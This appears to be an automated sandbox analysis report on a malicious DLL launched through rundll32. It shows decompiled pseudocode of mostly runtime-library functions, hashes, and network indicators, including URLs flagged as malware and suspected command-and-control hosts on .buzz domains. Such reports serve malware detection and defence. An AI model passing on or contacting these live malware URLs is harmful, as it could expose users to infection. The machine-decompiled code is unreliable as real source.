Part of subcall function 000007FEF475A208: _inconsistency.LIBCMT ref: 000007FEF475A223
Part of subcall function 000007FEF475A208: _getptd.LIBCMT ref: 000007FEF475A228
Part of subcall function 000007FEF475A208: _inconsistency.LIBCMT ref: 000007FEF475A244

__DestructExceptionObject.LIBCMT ref: 000007FEF4760519
_getptd.LIBCMT ref: 000007FEF476051F
_getptd.LIBCMT ref: 000007FEF4760532

Part of subcall function 000007FEF475A298: _getptd.LIBCMT ref: 000007FEF475A2A1

Strings

csm, xrefs: 000007FEF47604EC

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: _getptd$_inconsistency$DestructExceptionObject
String ID: csm
API String ID: 2821275340-1018135373
Opcode ID: 6fb19c6d64cf275fdab93d8ab8dceada0260779d8477ed6141f24310ae19cd64
Instruction ID: ac5d685a873b379cd2e4cfe4cd8f5bb6e6044363f61fce8ed34312650d7978fc
Opcode Fuzzy Hash: 6fb19c6d64cf275fdab93d8ab8dceada0260779d8477ed6141f24310ae19cd64
Instruction Fuzzy Hash: AC018B2294A687C9E7A1EF31D841FBC23E6E755B59F445171DB0E4BBE6CE28E4818340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4731710 Relevance: 6.1, APIs: 4, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E000007FE7FEF4731710(void* __edx, long long* __rax, long long __rbx, void* __rcx, void* __rdx, unsigned long long __r8, long long __r14) {
				void* __rsi;
				signed short _t55;
				void* _t69;
				signed short _t71;
				signed short _t72;
				short _t73;
				signed int _t76;
				signed short _t89;
				intOrPtr _t90;
				signed long long _t111;
				signed long long _t112;
				signed long long _t113;
				signed int _t114;
				intOrPtr* _t117;
				long long _t121;
				void* _t132;
				void* _t134;
				void* _t135;
				signed int* _t136;
				long long _t138;
				intOrPtr _t139;
				void* _t141;
				unsigned long long _t144;
				signed long long _t148;
				signed long long _t149;

				_t144 = __r8;
				_t116 = __rbx;
				 *((long long*)(_t141 + 0x10)) = __rbx;
				 *((long long*)(_t141 + 0x18)) = _t138;
				_t135 = __rcx;
				if (( *(__rcx + 0x10) & 0x00000100) == 0) goto 0xf4731750;
				_t55 = E000007FE7FEF472EB40(__edx, __rax, __rbx,  *((intOrPtr*)(__rcx + 0x18)), _t148);
				_t121 =  *((intOrPtr*)(__rcx + 0x18));
				_t71 = _t55 & 0x0000ffff;
				_t89 = E000007FE7FEF472EB40(r8w & 0xffff, __rax, _t116, _t121, _t132) & 0x0000ffff;
				_t139 =  *((intOrPtr*)(__rcx + 8));
				r15d = 0;
				 *((long long*)(_t141 - 0x20 + 0x40)) = __r14;
				if (_t71 - _t89 > 0) goto 0xf47317c3;
				r14d = _t89 & 0x0000ffff;
				if (r14d -  *((intOrPtr*)(__rcx + 0x20)) >= 0) goto 0xf47317c3;
				if ( *(_t139 + 0x28) != _t148) goto 0xf473179a;
				E000007FE7FEF4741BDC(__rax, _t121);
				if (__rax == 0) goto 0xf4731793;
				 *__rax = _t121;
				 *((long long*)(__rax + 8)) = _t121;
				 *((long long*)(__rax + 0x10)) = _t121;
				 *((long long*)(__rax + 0x18)) = _t121;
				goto 0xf4731796;
				_t111 = _t148;
				 *(_t139 + 0x28) = _t111;
				_t76 = _t71 & 0x0000ffff;
				r8d = _t76;
				 *((_t144 >> 3) +  *(_t139 + 0x28)) =  *((_t144 >> 3) +  *(_t139 + 0x28)) | 0x00000001 << (_t76 & 0x00000007);
				if (_t71 == _t89) goto 0xf47317c3;
				_t72 = _t71 + 1;
				if (_t72 - _t89 <= 0) goto 0xf4731765;
				if ((_t89 & 0x0000ffff) - (_t72 & 0x0000ffff) -  *((intOrPtr*)(_t135 + 0x24)) >= 0) goto 0xf4731801;
				if (_t72 - _t89 > 0) goto 0xf47318b0;
				E000007FE7FEF4731A60(_t72 & 0x0000ffff, _t111, _t116, _t135,  *(_t139 + 0x28), _t135, _t134);
				if (_t72 == _t89) goto 0xf47318b0;
				_t73 = _t72 + 1;
				if (_t73 - _t89 <= 0) goto 0xf47317e0;
				goto 0xf47318b0;
				if ( *(_t139 + 0x38) != _t148) goto 0xf4731826;
				E000007FE7FEF4741BDC(_t111, _t135);
				if (_t111 == 0) goto 0xf473181f;
				 *_t111 = _t148;
				 *(_t111 + 8) = _t148;
				goto 0xf4731822;
				_t112 = _t148;
				 *(_t139 + 0x38) = _t112;
				_t136 =  *(_t139 + 0x38);
				_t149 = _t148 | 0xffffffff;
				if ( *_t136 - _t136[1] > 0) goto 0xf4731860;
				r14d = _t112 + 0x10;
				_t113 =  <  ? _t149 : _t112;
				realloc(??, ??);
				if (_t113 == 0) goto 0xf47318c8;
				_t136[2] = _t113;
				 *_t136 = r14d;
				 *((short*)(_t136[2] + _t113 * 2)) = _t73;
				_t136[1] = _t136[1] + 1;
				_t117 =  *(_t139 + 0x38);
				_t90 =  *((intOrPtr*)(_t117 + 4));
				if ( *_t117 - _t90 > 0) goto 0xf47318a2;
				_t114 =  <  ? _t149 : _t113;
				_t69 = realloc(??, ??);
				if (_t114 == 0) goto 0xf47318ce;
				 *(_t117 + 8) = _t114;
				 *_t117 = _t90 + 0x10;
				 *( *(_t117 + 8) +  *(_t117 + 8) * 2) = _t89;
				 *((intOrPtr*)(_t117 + 4)) =  *((intOrPtr*)(_t117 + 4)) + 1;
				return _t69;
			}

0x7fef4731710
0x7fef4731710
0x7fef4731710
0x7fef4731715
0x7fef4731730
0x7fef4731733
0x7fef4731739
0x7fef473173e
0x7fef4731745
0x7fef473174d
0x7fef4731750
0x7fef4731754
0x7fef4731757
0x7fef473175f
0x7fef4731761
0x7fef4731769
0x7fef473176f
0x7fef4731776
0x7fef473177e
0x7fef4731782
0x7fef4731785
0x7fef4731789
0x7fef473178d
0x7fef4731791
0x7fef4731793
0x7fef4731796
0x7fef473179e
0x7fef47317a6
0x7fef47317b2
0x7fef47317b9
0x7fef47317bb
0x7fef47317c1
0x7fef47317ce
0x7fef47317d3
0x7fef47317e6
0x7fef47317ee
0x7fef47317f4
0x7fef47317fa
0x7fef47317fc
0x7fef4731805
0x7fef473180c
0x7fef4731814
0x7fef4731816
0x7fef4731819
0x7fef473181d
0x7fef473181f
0x7fef4731822
0x7fef4731826
0x7fef473182a
0x7fef4731833
0x7fef4731835
0x7fef4731848
0x7fef473184f
0x7fef4731857
0x7fef4731859
0x7fef473185d
0x7fef4731867
0x7fef473186b
0x7fef473186e
0x7fef4731872
0x7fef4731877
0x7fef473188b
0x7fef4731892
0x7fef473189a
0x7fef473189c
0x7fef47318a0
0x7fef47318a9
0x7fef47318ad
0x7fef47318c7

APIs

realloc.LIBCMT ref: 000007FEF473184F
realloc.LIBCMT ref: 000007FEF4731892
std::_Xbad_alloc.LIBCPMT ref: 000007FEF47318C8
std::_Xbad_alloc.LIBCPMT ref: 000007FEF47318CE

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Xbad_allocreallocstd::_$malloc
String ID:
API String ID: 3753596235-0
Opcode ID: b441c331619455eef8d9a250fa9c4d2e4a598f5c87a61dd55cd4fb84ae6469fd
Instruction ID: db8d450b3f6c2feefacaa25952ff249955bc4e8c57d7be109bcd33260c3e3d09
Opcode Fuzzy Hash: b441c331619455eef8d9a250fa9c4d2e4a598f5c87a61dd55cd4fb84ae6469fd
Instruction Fuzzy Hash: A451B332A0E651C6FBA49F11E0406B977E0E748BA0F498535EB9E477E5CB3CE860C354

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF475851C Relevance: 6.1, APIs: 4, Instructions: 62
stringCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E000007FE7FEF475851C(void* __edx, void* __eflags, signed char* __rax, long long __rbx, void* __rcx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v32;
				char _v40;
				void* _t17;
				signed int _t23;
				signed short _t24;
				signed short _t27;
				void* _t30;
				signed char* _t43;
				signed char* _t47;
				signed char* _t48;
				intOrPtr _t58;
				char* _t59;

				_t43 = __rax;
				r8d = 0;
				goto 0xf4758524;
				_a8 = __rbx;
				_a16 = __rsi;
				_t30 = __edx;
				E000007FE7FEF4741544(__rax,  &_v40, __r8);
				if (__rcx != 0) goto 0xf475855e;
				_t17 = E000007FE7FEF4742E3C(_t43);
				 *_t43 = 0x16;
				E000007FE7FEF47480D8(_t17);
				goto 0xf47585b8;
				_t58 = _v32;
				if ( *((intOrPtr*)(_t58 + 8)) != 0) goto 0xf4758577;
				strchr(_t59);
				_t47 = _t43;
				goto 0xf47585bb;
				_t24 =  *_t47 & 0x000000ff;
				if (_t24 == 0) goto 0xf47585b1;
				if ((_t43[_t58 + 0x19] & 0x00000004) == 0) goto 0xf47585a5;
				_t48 =  &(_t47[1]);
				if ( *_t48 == sil) goto 0xf47585b8;
				_t27 = (_t24 & 0x0000ffff) << 0x00000008 |  *_t48 & 0x000000ff;
				if (_t30 != _t27) goto 0xf47585ac;
				goto 0xf47585bb;
				if (_t30 == (_t27 & 0x0000ffff)) goto 0xf47585b1;
				goto 0xf4758577;
				_t23 = _t27 & 0x0000ffff;
				if (_t30 == _t23) goto 0xf47585bb;
				if (_v16 == sil) goto 0xf47585ce;
				 *(_v24 + 0xc8) =  *(_v24 + 0xc8) & 0xfffffffd;
				return _t23;
			}

0x7fef475851c
0x7fef475851c
0x7fef475851f
0x7fef4758524
0x7fef4758529
0x7fef4758536
0x7fef4758540
0x7fef475854a
0x7fef475854c
0x7fef4758551
0x7fef4758557
0x7fef475855c
0x7fef475855e
0x7fef4758566
0x7fef475856d
0x7fef4758572
0x7fef4758575
0x7fef4758577
0x7fef475857d
0x7fef4758587
0x7fef4758589
0x7fef475858f
0x7fef475859a
0x7fef475859e
0x7fef47585a3
0x7fef47585aa
0x7fef47585af
0x7fef47585b1
0x7fef47585b6
0x7fef47585c0
0x7fef47585c7
0x7fef47585e0

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000007FEF4758540

Part of subcall function 000007FEF4741544: _getptd.LIBCMT ref: 000007FEF474155A
Part of subcall function 000007FEF4741544: __updatetlocinfo.LIBCMT ref: 000007FEF474158F
Part of subcall function 000007FEF4741544: __updatetmbcinfo.LIBCMT ref: 000007FEF47415B6

_errno.LIBCMT ref: 000007FEF475854C

Part of subcall function 000007FEF4742E3C: _getptd_noexit.LIBCMT ref: 000007FEF4742E40

_invalid_parameter_noinfo.LIBCMT ref: 000007FEF4758557
strchr.LIBCMT ref: 000007FEF475856D

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: e45c8247ab46bd274fdca0f01375c03e13e68ba86386ab36b43d38a6126a591b
Instruction ID: 0dcf5b35bc92ba189b2547c4fc570ba058d292b8be420a40e6886a30af18f1c4
Opcode Fuzzy Hash: e45c8247ab46bd274fdca0f01375c03e13e68ba86386ab36b43d38a6126a591b
Instruction Fuzzy Hash: F821055290E2A6C2FBE05621D050B7DE6D0E340BD5F5A9131EA8F5EBF5C92CD8618710

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4746578 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E000007FE7FEF4746578(void* __ebx, void* __ecx, long long __rax, long long __rbx, long long _a8) {
				void* _t12;
				intOrPtr _t18;
				intOrPtr _t20;
				signed long long _t24;
				long long _t27;
				intOrPtr* _t29;
				signed long long _t31;
				intOrPtr* _t32;
				signed long long _t34;
				signed long long _t43;
				signed long long _t44;
				signed long long _t47;
				signed long long _t48;
				long long _t49;

				_a8 = __rbx;
				__imp__DecodePointer();
				_t29 =  *0xf4779e20; // 0x0
				if (_t29 == 0) goto 0xf47465b8;
				_t18 =  *_t29;
				if (_t18 == 0) goto 0xf47465b1;
				E000007FE7FEF4741E88(__rax,  *_t29);
				if (_t18 != 0) goto 0xf474659e;
				_t31 =  *0xf4779e20; // 0x0
				E000007FE7FEF4741E88(__rax, _t31);
				_t32 =  *0xf4779e18; // 0x1eda90
				 *0xf4779e20 =  *0xf4779e20 & 0x00000000;
				if (_t32 == 0) goto 0xf47465ee;
				_t20 =  *_t32;
				if (_t20 == 0) goto 0xf47465e7;
				E000007FE7FEF4741E88(__rax,  *_t32);
				if (_t20 != 0) goto 0xf47465d4;
				_t34 =  *0xf4779e18; // 0x1eda90
				E000007FE7FEF4741E88(__rax, _t34);
				_t43 =  *0xf4779e10; // 0x0
				 *0xf4779e18 =  *0xf4779e18 & 0x00000000;
				E000007FE7FEF4741E88(__rax, _t43);
				_t44 =  *0xf4779e08; // 0x1eda00
				E000007FE7FEF4741E88(__rax, _t44);
				 *0xf4779e10 =  *0xf4779e10 & 0x00000000;
				 *0xf4779e08 =  *0xf4779e08 & 0x00000000;
				if (__rax == (_t34 | 0xffffffff)) goto 0xf4746641;
				if ( *0xf477b420 == 0) goto 0xf4746641;
				E000007FE7FEF4741E88(__rax, __rax);
				__imp__EncodePointer();
				_t47 =  *0xf477ab20; // 0x0
				 *0xf477b420 = __rax;
				if (_t47 == 0) goto 0xf474666a;
				E000007FE7FEF4741E88(__rax, _t47);
				 *0xf477ab20 =  *0xf477ab20 & 0x00000000;
				_t48 =  *0xf477ab28; // 0x0
				_t24 = _t48;
				if (_t24 == 0) goto 0xf4746683;
				E000007FE7FEF4741E88(__rax, _t48);
				 *0xf477ab28 =  *0xf477ab28 & 0x00000000;
				_t27 =  *0xf4777a80; // 0x1ed7d0
				asm("lock xadd [eax], ecx");
				if (_t24 != 0) goto 0xf47466b3;
				_t49 =  *0xf4777a80; // 0x1ed7d0
				if (_t49 == 0xf4777760) goto 0xf47466b3;
				_t12 = E000007FE7FEF4741E88(_t27, _t49);
				 *0xf4777a80 = 0xf4777760;
				return _t12;
			}

0x7fef4746578
0x7fef4746589
0x7fef474658f
0x7fef474659c
0x7fef47465a1
0x7fef47465a4
0x7fef47465a6
0x7fef47465af
0x7fef47465b1
0x7fef47465bb
0x7fef47465c0
0x7fef47465c7
0x7fef47465d2
0x7fef47465d7
0x7fef47465da
0x7fef47465dc
0x7fef47465e5
0x7fef47465e7
0x7fef47465f1
0x7fef47465f6
0x7fef47465fd
0x7fef4746605
0x7fef474660a
0x7fef4746611
0x7fef4746616
0x7fef474661e
0x7fef474662d
0x7fef4746637
0x7fef474663c
0x7fef4746644
0x7fef474664a
0x7fef4746651
0x7fef474665b
0x7fef474665d
0x7fef4746662
0x7fef474666a
0x7fef4746671
0x7fef4746674
0x7fef4746676
0x7fef474667b
0x7fef4746683
0x7fef474668c
0x7fef4746692
0x7fef4746694
0x7fef47466a5
0x7fef47466a7
0x7fef47466ac
0x7fef47466bd

APIs

DecodePointer.KERNEL32(?,?,00000000,000007FEF4743E9B,?,?,?,000007FEF474405F), ref: 000007FEF4746589
EncodePointer.KERNEL32(?,?,00000000,000007FEF4743E9B,?,?,?,000007FEF474405F), ref: 000007FEF4746644

Part of subcall function 000007FEF4741E88: HeapFree.KERNEL32 ref: 000007FEF4741E9E
Part of subcall function 000007FEF4741E88: _errno.LIBCMT ref: 000007FEF4741EA8
Part of subcall function 000007FEF4741E88: GetLastError.KERNEL32(?,?,00000000,000007FEF474518E,?,?,0000000D,000007FEF4742E45,?,?,?,?,000007FEF47478F2,?,?,0000000D), ref: 000007FEF4741EB0

Strings

hL&W, xrefs: 000007FEF4746582

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Pointer$DecodeEncodeErrorFreeHeapLast_errno
String ID: hL&W
API String ID: 1110873660-2424779559
Opcode ID: 1a8f563acf1884b4455f782096856765f03f01b461e315e7e2caa0e118eb1a1b
Instruction ID: 28ef003b83ccd07b650ef8480e71f33145e5c35bcabad5eec0f58b6478476a95
Opcode Fuzzy Hash: 1a8f563acf1884b4455f782096856765f03f01b461e315e7e2caa0e118eb1a1b
Instruction Fuzzy Hash: A4312A66E4FA4BC1FED4AB21E854FB622E0AB58B95F884135C91D067F1CF6CE6018341

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4723A90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF4723A90() {
				signed int _v24;
				char _v1640;
				long long _v1648;
				long long _v1656;
				char _v1672;
				char _v1688;
				void* _t14;
				void* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				signed long long _t29;
				void* _t31;
				void* _t38;
				void* _t41;
				void* _t42;
				signed long long _t43;
				void* _t45;
				void* _t46;

				_t29 =  *0xf4777530; // 0xf9634ebbaa1d
				_v24 = _t29 ^ _t43;
				_v1648 = 0xf;
				_v1656 = 0;
				_v1672 = 0;
				_t14 = E000007FE7FEF473FC40(_t29 ^ _t43, _t31,  &_v1640, _t38, _t41, _t42);
				_v1688 = 0;
				__imp__GetModuleHandleExW();
				if (_t14 != 0) goto 0xf4723af6;
				GetLastError();
				goto 0xf4723b05;
				E000007FE7FEF4734190(_t21, _t23, _t24, _t31,  &_v1672,  &_v1688, _t41,  &_v1688, _t45, _t46);
				E000007FE7FEF4740670(_t31,  &_v1640);
				if (_v1648 - 0x10 < 0) goto 0xf4723b21;
				E000007FE7FEF4741974(_v1672);
				return E000007FE7FEF4740F90(6, _t23, _t24, _t25, _v24 ^ _t43,  &_v1688,  &_v1688);
			}

0x7fef4723a97
0x7fef4723aa1
0x7fef4723aae
0x7fef4723ab7
0x7fef4723ac0
0x7fef4723ac5
0x7fef4723adb
0x7fef4723ae4
0x7fef4723aec
0x7fef4723aee
0x7fef4723af4
0x7fef4723b00
0x7fef4723b0a
0x7fef4723b15
0x7fef4723b1c
0x7fef4723b3d

APIs

GetModuleHandleExW.KERNEL32 ref: 000007FEF4723AE4
GetLastError.KERNEL32 ref: 000007FEF4723AEE

Strings

Rdwmnjioffws, xrefs: 000007FEF4723ACF

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: ErrorHandleLastModule
String ID: Rdwmnjioffws
API String ID: 4242514867-3615150210
Opcode ID: 6b92177bdde77399306da16b03bc6c660327e154dde95db7991e2a052d80c9b3
Instruction ID: 678add53e3ab57ba6227c07c0300e02903d70008a2ef1ce4d487285802c91dae
Opcode Fuzzy Hash: 6b92177bdde77399306da16b03bc6c660327e154dde95db7991e2a052d80c9b3
Instruction Fuzzy Hash: A9115E2161DAC2C2FBA0AB50E045BBA63A1F785344F800122E68D476F9DF7DE148CB00

Uniqueness

Uniqueness Score: -1.00%

Source: http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.mp4	Avira URL Cloud: Label: malware
Source: http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.png	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\wnitmpo.dll	Joe Sandbox ML: detected

Source: rundll32.exe, 00000005.00000002.1198605277.0000000000250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com8 equals www.linkedin.com (Linkedin)
Source: rundll32.exe, 00000005.00000002.1198605277.0000000000250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: rundll32.exe, 00000005.00000002.1198794640.000000000300F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://com.lightbuzear.buzz/
Source: rundll32.exe, 00000005.00000002.1198802455.000000000301C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198575987.0000000000215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel
Source: rundll32.exe, 00000005.00000002.1198775167.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel1ci
Source: rundll32.exe, 00000005.00000002.1198575987.0000000000215000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torelEu
Source: rundll32.exe, 00000005.00000002.1198625904.000000000028B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1198764389.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: rundll32.exe, 00000005.00000002.1198605277.0000000000250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/

Source: global traffic	DNS query: name: worldoptions.buzz
Source: global traffic	DNS query: name: www.google.com
Source: global traffic	DNS query: name: com.lightbuzear.buzz

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 49245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49244 -> 443
